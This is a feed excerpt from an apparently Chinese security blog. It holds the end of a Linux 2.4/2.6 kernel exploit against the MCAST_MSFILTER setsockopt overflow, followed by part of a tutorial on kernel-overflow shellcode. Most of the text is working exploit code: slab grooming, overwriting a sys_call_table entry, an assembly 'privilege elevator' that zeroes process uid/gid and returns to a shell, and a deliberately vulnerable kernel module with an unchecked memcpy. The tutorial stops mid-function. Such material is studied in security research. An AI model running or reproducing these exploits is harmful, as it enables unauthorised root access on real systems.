&nbsp;&nbsp; &nbsp;int cntr;<br>
&nbsp;&nbsp; &nbsp;for(cntr = 0; cntr &lt;= 512; cntr++, ts++)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if( ts[0] == uid &amp;&amp;
ts[1] == uid &amp;&amp; ts[4] == gid &amp;&amp; ts[5] == gid)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ts[0] =
ts[1] = ts[4] = ts[5] = 0;<br>
}<br>
<br>
int myget_cs()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %cs,%eax\n");<br>
}<br>
int myget_ds()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__("movl %ds,%eax\n");<br>
}<br>
<br>
/*<br>
&nbsp;* kernel 2.4.x/2.6.x privilege elevator<br>
&nbsp;**/<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
&nbsp;&nbsp; &nbsp;"load_highlevel:&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"mov&nbsp;&nbsp; &nbsp;$0xffffe000,%eax\n\t"<br>
&nbsp;&nbsp; &nbsp;"and&nbsp;&nbsp; &nbsp;%esp,%eax&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;%eax&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"call&nbsp;&nbsp; &nbsp;set_root&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pop&nbsp;&nbsp; &nbsp;%eax&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"movl&nbsp;&nbsp;
&nbsp;$user_ds,%eax&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;(%eax)\n"<br>
&nbsp;&nbsp; &nbsp;"pop&nbsp;&nbsp;
&nbsp;%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t"&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* DS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp;
&nbsp;%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t" &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* SS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$0xc0000000&nbsp;&nbsp;
&nbsp;\n\t"&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/* ESP */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$0x246&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;/* EFLAGS */<br>
&nbsp;&nbsp; &nbsp;"movl&nbsp;&nbsp;
&nbsp;$user_cs,%eax&nbsp;&nbsp; &nbsp;\n\t"&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;/* CS */<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;(%eax)&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"pushl&nbsp;&nbsp; &nbsp;$shellcode&nbsp;&nbsp;
&nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"iret&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
);<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp; &nbsp;int sock = -1;<br>
&nbsp;&nbsp; &nbsp;int victim_pipe[2] = {-1, -1};<br>
&nbsp;&nbsp; &nbsp;int holderid = -1;<br>
&nbsp;&nbsp; &nbsp;struct group_filter *gsf = NULL; /* &amp;optval
*/<br>
&nbsp;&nbsp; &nbsp;int optlen, optlen_align;<br>
&nbsp;&nbsp; &nbsp;int nsems;<br>
&nbsp;&nbsp; &nbsp;int pid;<br>
&nbsp;&nbsp; &nbsp;int status;<br>
<br>
&nbsp;&nbsp; &nbsp;unsigned int numsrc, full_numsrc, of_numsrc /*
overflow numsrc */;<br>
&nbsp;&nbsp; &nbsp;int msize, gsize, i;<br>
&nbsp;&nbsp; &nbsp;struct sockaddr_in *psin;<br>
<br>
&nbsp;&nbsp; &nbsp;sys_call_table = (void *)
get_sys_call_table();<br>
&nbsp;&nbsp; &nbsp;if (!sys_call_table)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
<br>
&nbsp;&nbsp; &nbsp;sock = socket(PF_INET, SOCK_STREAM, 0);<br>
&nbsp;&nbsp; &nbsp;if (sock == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("socket");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;optlen = sizeof(struct group_filter) +<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;sizeof(struct sockaddr_storage) *
(MY_NUMSRC-1);<br>
&nbsp;&nbsp; &nbsp;optlen_align = fix_slabsize(optlen);<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * (kernel-2.4.22)<br>
&nbsp;&nbsp; &nbsp; * ...<br>
&nbsp;&nbsp; &nbsp; * define IP_MSFILTER_SIZE(numsrc) \<br>
&nbsp;&nbsp; &nbsp; *&nbsp;&nbsp; &nbsp;(sizeof(struct ip_msfilter)
- sizeof(__u32) \<br>
&nbsp;&nbsp; &nbsp; *&nbsp;&nbsp; &nbsp;+ (numsrc) *
sizeof(__u32))<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;numsrc = ((4 - (sizeof(struct ip_msfilter) -
4)))/4 + (SLAB_SIZE - 4)/4;<br>
&nbsp;&nbsp; &nbsp;msize = IP_MSFILTER_SIZE(numsrc);<br>
&nbsp;&nbsp; &nbsp;gsize = GROUP_FILTER_SIZE(numsrc);<br>
&nbsp;&nbsp; &nbsp;printf("numsrc: 0x%x msize: 0x%x gsize: 0x%x
optlen: 0x%x\n",<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;numsrc,
msize, gsize, optlen);<br>
<br>
&nbsp;&nbsp; &nbsp;if (argc == 2 &amp;&amp; !strcmp(argv[1],
"-w"))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(EXIT_SUCCESS);<br>
<br>
&nbsp;&nbsp; &nbsp;gsf = malloc(optlen_align);<br>
&nbsp;&nbsp; &nbsp;if (gsf == NULL) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("malloc");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;memset(gsf, 'A', optlen);<br>
<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * Prepare<br>
&nbsp;&nbsp; &nbsp; **/<br>
&nbsp;&nbsp; &nbsp;printf("Prepare ...\n");<br>
&nbsp;&nbsp; &nbsp;gsf-&gt;gf_numsrc = numsrc;<br>
&nbsp;&nbsp; &nbsp;gsf-&gt;gf_interface = 0;<br>
&nbsp;&nbsp; &nbsp;gsf-&gt;gf_fmode = 0;<br>
&nbsp;&nbsp; &nbsp;psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_group;<br>
&nbsp;&nbsp; &nbsp;psin-&gt;sin_family = AF_INET;<br>
<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; MY_NUMSRC; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[i];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin-&gt;sin_family =
AF_INET;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin-&gt;sin_addr.s_addr =
0x43434343;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;full_numsrc = (optlen_align - sizeof(struct
group_filter))<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;/
sizeof(gsf-&gt;gf_slist[0]) + 1 + 1;<br>
&nbsp;&nbsp; &nbsp;of_numsrc = full_numsrc<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;-
((SLAB_SIZE - 20 /* sizeof(struct ip_msfilter) */) / 4 + 1);<br>
&nbsp;&nbsp; &nbsp;printf("full_numsrc: %d \toverflow_numsrc:
%d\n", full_numsrc, of_numsrc);<br>
<br>
&nbsp;&nbsp; &nbsp;for (; i &lt; full_numsrc; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[i];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin-&gt;sin_family =
AF_INET;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;psin-&gt;sin_addr.s_addr =
0x44444444;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;assert(of_numsrc == 3);<br>
&nbsp;&nbsp; &nbsp;psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[full_numsrc-of_numsrc-1+3]; /* char *base
*/<br>
&nbsp;&nbsp; &nbsp;psin-&gt;sin_addr.s_addr = (unsigned int)
&amp;sys_call_table[__NR_hijack_getroot];<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf,
optlen_align);<br>
&nbsp;&nbsp; &nbsp;prepare_slab(SLAB_SIZE, -1);<br>
&nbsp;&nbsp; &nbsp;prepare_slab(SLAB_SIZE, 4);<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;nsems = COMPUTE_NSEMS(SLAB_SIZE);<br>
&nbsp;&nbsp; &nbsp;holderid = semget(IPC_PRIVATE, nsems,
IPC_CREAT);<br>
&nbsp;&nbsp; &nbsp;if (holderid == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("semget IPC_NEW");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;if (pipe(victim_pipe) == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("pipe");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;semctl(holderid, 0, IPC_RMID);<br>
&nbsp;&nbsp; &nbsp;printf("Exploiting ...\n");<br>
&nbsp;&nbsp; &nbsp;semctl(holderid, 0, IPC_RMID);<br>
&nbsp;&nbsp; &nbsp;if (setsockopt(sock, SOL_IP, MCAST_MSFILTER,
gsf, optlen) == -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("setsockopt");<br>
<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * Get root<br>
&nbsp;&nbsp; &nbsp; **/<br>
&nbsp;&nbsp; &nbsp;char *p_load_highlevel = (void *)
&amp;load_highlevel;<br>
&nbsp;&nbsp; &nbsp;if (fork() == 0)<br>
&nbsp;&nbsp; &nbsp;{<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;int cnt;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;alarm(1);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cnt = write(victim_pipe[1],
&amp;p_load_highlevel, 4);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (cnt == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;perror("write pipe");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto
err;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;exit(0);<br>
&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;sleep(2);<br>
<br>
&nbsp;&nbsp; &nbsp;if ((pid = fork()) == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;configure();<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;hijack_getroot(0);<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;printf("Failed to get
root!\n");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;_exit(-1);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (waitpid(pid, &amp;status,
0) &lt; 0)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;break;<br>
&nbsp;&nbsp; &nbsp;}&nbsp;&nbsp; &nbsp;<br>
<br>
&nbsp;&nbsp; &nbsp;de_prepare_slab();<br>
&nbsp;&nbsp; &nbsp;free(gsf);<br>
&nbsp;&nbsp; &nbsp;close(sock);<br>
<br>
&nbsp;&nbsp; &nbsp;close(victim_pipe[0]);<br>
&nbsp;&nbsp; &nbsp;close(victim_pipe[1]);<br>
&nbsp;&nbsp; &nbsp;return EXIT_SUCCESS;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (victim_pipe[0] &gt; 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(victim_pipe[0]);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(victim_pipe[1]);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;de_prepare_slab(); /* it's safe */<br>
<br>
&nbsp;&nbsp; &nbsp;if (holderid != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;semctl(holderid, 0,
IPC_RMID);<br>
&nbsp;&nbsp; &nbsp;if (gsf)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;free(gsf);<br>
&nbsp;&nbsp; &nbsp;if (sock != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(sock);<br>
&nbsp;&nbsp; &nbsp;return EXIT_FAILURE;<br>
}
]]></description><guid>http://www.i170.com/Article/23382</guid><trackback:ping>http://www.i170.com/Article/23382/trackback</trackback:ping><comments>http://www.i170.com/Article/23382#comment</comments><wfw:commentRss>http://www.i170.com/Article/23382/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/34390</link><title><![CDATA[linux内核溢出研究系列(1)--通用shellcode篇]]></title><author>grip2</author><category>网络安全,Linux Kernel</category><pubDate>Thu, 27 Apr 2006 16:14:04  +0800</pubDate><description><![CDATA[标题: linux内核溢出研究系列(1)--通用shellcode篇<br>
<br>
创建: 2006-3-22<br>
修改:2006-3-22<br>
作者：李小军(a1rsupp1y)<br>
---------------------------------------------------------------------------------------------------<br>
目录：<br>
&nbsp;&nbsp;&nbsp; 一、简介<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; 二、简单的例子<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 1)例子代码<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 2)利用代码<br>
<br>
&nbsp;&nbsp;&nbsp; 三、shellcode扩展<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 1)模式<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 2)通用思路<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 3)通用实现<br>
&nbsp;&nbsp;&nbsp; 四、参考资源<br>
&nbsp;&nbsp;&nbsp; 五、附录<br>
&nbsp;&nbsp;&nbsp; 六、感谢<br>
--------------------------------------------------------------------------------------------------<br>
<br>
一、简介<br>
&nbsp;&nbsp;&nbsp; linux内核溢出凸显严重，利用代码的编写和普通溢出相比，难度大了很多。<br>
几乎每一个经典的内核漏洞都有一个非常经典的利用代码值得大家深入学习。<br>
目前可以借鉴的学习文档基本上都是英文的，于是决定对linux内核溢出利用代<br>
码的编写进行全盘的学习。这份文档就是一个学习的过程，记录下来，希望能<br>
和大家共同进步。<br>
<p class="partingline">[separator]</p>
<br>
二、简单的例子<br>
&nbsp;&nbsp;&nbsp; 首先，研究的目标是2.6的内核版本，然后再扩展到2.4内核。我们先从一个简单<br>
的例子代码出发，进行利用代码的编写。我们的测试平台是缺省内核的redhat as4<br>
(2.6.9)和gentoo(2.6.15).<br>
&nbsp;&nbsp;&nbsp; 1)例子代码<br>
&nbsp;&nbsp;&nbsp; 我们的例子代码先挂载(hook)了一个系统调用，其功能就是把用户空间的数据拷贝<br>
到内核空间，因为没有进行长度检查，导致了一个内核栈溢出。<br>
因为2.6内核下面，没有引出sys_call_table，我们用了一个查找函数(find_systable)来找到<br>
sys_call_table的地址。<br>
例子代码如下：<br>
#include &lt;linux/kernel.h&gt;<br>
#include &lt;linux/module.h&gt;<br>
#include &lt;asm/unistd.h&gt;<br>
#include &lt;asm/uaccess.h&gt;<br>
#include &lt;linux/slab.h&gt;<br>
#define CALL_NR 35<br>
<br>
static const void *lower_bound = &amp;kernel_thread;<br>
int *sys_call_table =0xc04eb6c0;<br>
int (*old_call)(int, int);<br>
<br>
static inline int looks_good(void **p)<br>
{<br>
&nbsp;&nbsp;&nbsp; if (*p &lt;= (void*)lower_bound || *p &gt;=
(void*)p)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
&nbsp;&nbsp;&nbsp; return 1;<br>
}<br>
/*<br>
&nbsp;* find sys_call_table<br>
&nbsp;*/<br>
int find_systable(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; void **ptr = (void **)&amp;init_mm;<br>
&nbsp;&nbsp;&nbsp; void **limit;<br>
<br>
&nbsp;&nbsp;&nbsp; sys_call_table = NULL;<br>
<br>
&nbsp;&nbsp;&nbsp; for (limit = ptr + 16 * 1024;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ptr &lt; limit
&amp;&amp; sys_call_table == NULL; ptr++)<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int ok = 1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; 250;
i++)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (!looks_good(ptr + i)) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ok = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
ptr = ptr + i;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
}<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ok) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
if (ptr[__NR_break] != ptr[__NR_ftime])<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
continue;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
sys_call_table = ptr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; if (sys_call_table == NULL) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printk("Failed to find
address of sys_call_table\n");<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -EIO;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; printk("Found sys_call_table at 0x%.8x\n",
sys_call_table);<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
asmlinkage int test(unsigned int len,char * code) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char buf[256];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //strcpy(buf,code);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
memcpy(buf,code,len);<br>
<br>
}<br>
asmlinkage int new_call(unsigned int len, char * buf) {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
printk("%p\n",current_thread_info());<br>
printk("off:%d\n",(int)(current)-(int)(&amp;current-&gt;uid));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char *&nbsp; code =
kmalloc(len, GFP_KERNEL);<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (code ==NULL) goto
out;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (copy_from_user(code,
buf, len))<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
goto out;<br>
<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; test(len,code);<br>
out:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
int init_module(void)<br>
{<br>
int i=find_systable();<br>
printk("[*] vuln loaded!\n");<br>
old_call = sys_call_table[CALL_NR];<br>
sys_call_table[CALL_NR] = new_call;<br>
return 0;<br>
}<br>
void cleanup_module(void)<br>
{<br>
sys_call_table[CALL_NR] = old_call;<br>
printk("[*] vuln unloaded!\n");<br>
}<br>
<br>
2)利用代码<br>
&nbsp;&nbsp;&nbsp; 针对上面的栈溢出，利用代码也很简单，就是构造超长的数据，然后调用该系统调用来传递<br>
给内核。<br>
利用代码如下：<br>
<br>
/* exp.c<br>
*/<br>
#include &lt;sys/types.h&gt;<br>
#include &lt;sys/stat.h&gt;<br>
#include &lt;fcntl.h&gt;<br>
#include &lt;sys/mman.h&gt;<br>
#include &lt;unistd.h&gt;<br>
#include &lt;linux/unistd.h&gt;<br>
#include &lt;linux/sysctl.h&gt;<br>
#define
__NR_new_call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
35<br>
static inline _syscall2(int, new_call, unsigned int ,len,char *
,code);<br>
#define NOP 'A'<br>
//===================[ kernel 2.6* privilege elevator
]=================<br>
//globals<br>
int uid, gid;<br>
<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
"load_highlevel:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"xor&nbsp;&nbsp;&nbsp; %eax,
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"mov&nbsp;&nbsp;&nbsp; $0xffffe000, %eax\n"<br>
"and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pushl&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
"call&nbsp;&nbsp;
set_root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \n"<br>
"pop&nbsp;&nbsp;&nbsp;
%eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
//ret to userspace-2.6.* version<br>
"
cli&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
$0x7b&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //DS user selector<br>
" pop&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
" pushl
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //SS<br>
" pushl $0xc0000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ESP<br>
" pushl
$0x246&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EFLAGS<br>
" pushl
$0x73&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //CS user selector<br>
" pushl
$sc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //EIP must not be a push /bin/sh
shellcode!!<br>
"iret&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n"<br>
);<br>
<br>
void set_root(unsigned int *ts)<br>
{<br>
if((unsigned int*)*ts!=NULL)&nbsp;&nbsp;&nbsp;<br>
ts = (int*)*ts;<br>
int cntr;<br>
//hope you guys are int aligned<br>
for(cntr = 0; cntr &lt;= 512; cntr++, ts++)<br>
&nbsp;&nbsp; if( ts[0] == uid &amp;&amp; ts[1] == uid &amp;&amp;
ts[4] == gid &amp;&amp; ts[5] == gid)<br>
&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ts[0] = ts[1] =
ts[4] = ts[5] = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;&nbsp;
__asm__("int3");<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
}<br>
<br>
<br>
<br>
char *p[]={"/bin/sh"};<br>
void sc(){<br>
//&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; __asm__("int3");<br>
